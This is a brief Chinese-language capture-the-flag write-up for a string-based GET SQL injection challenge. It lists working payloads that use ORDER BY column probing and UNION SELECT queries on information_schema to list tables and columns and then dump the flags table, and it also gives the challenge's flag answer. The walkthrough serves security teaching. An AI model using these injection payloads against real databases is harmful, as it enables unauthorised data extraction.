>lhzctf

S02 字符型注入(GET)

1.打开靶机

根据题目提示 尝试字符型注入

2.查询列数

a' order by 4#

报错 有三列

3.union查询

查询表名

a' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=database()#

得到

comments,flags,logs,news,products,subs,users,vip

查询列名

a' union select 1,2, group_concat(column_name) from information_schema.columns where table_name='flags'#

得到

flag,level,note

查询元素

a' union select 1,2, group_concat(flag) from flags#

得到flag

flag{sqli_02_union_string}